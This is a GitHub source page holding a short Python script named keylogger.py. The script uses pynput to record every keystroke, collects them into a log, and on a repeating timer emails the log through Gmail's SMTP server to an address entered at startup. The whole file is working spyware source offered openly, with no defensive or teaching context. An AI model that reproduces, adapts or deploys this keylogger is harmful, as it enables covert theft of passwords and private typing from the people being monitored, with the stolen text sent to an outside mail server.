-
Notifications
You must be signed in to change notification settings - Fork 0
/
keylogger.py
73 lines (39 loc) · 1.27 KB
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import pynput.keyboard ,threading,smtplib
class Key:
def __init__(self,time_interval):
self.interval = time_interval
self.log = ""
self.email = raw_input("enter email to use:")
print("recevied\n")
self.password= raw_input("enter password:")
print("recevied\n")
self.email1= raw_input("enter email for receving:")
print("recevied\n")
def send_mail(self,email ,password ,message):
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(self.email, self.password)
server.sendmail(self.email ,self.email1, message)
server.quit()
print("EMAIL SENT:>>:)")
def append(self, string):
self.log = self.log + string
def process_key(self , key):
try:
current_key= str(key.char)
except AttributeError:
if key == key.space:
current_key= " "
else:
current_key= " " + str(key)+ " "
self.append(current_key)
def report(self):
self.send_mail(self.email,self.password,self.log)
self.log=""
timer=threading.Timer(self.interval,self.report)
timer.start()
def star(self):
keyboard_listener= pynput.keyboard.Listener(on_press =self.process_key)
with keyboard_listener:
self.report()
keyboard_listener.join()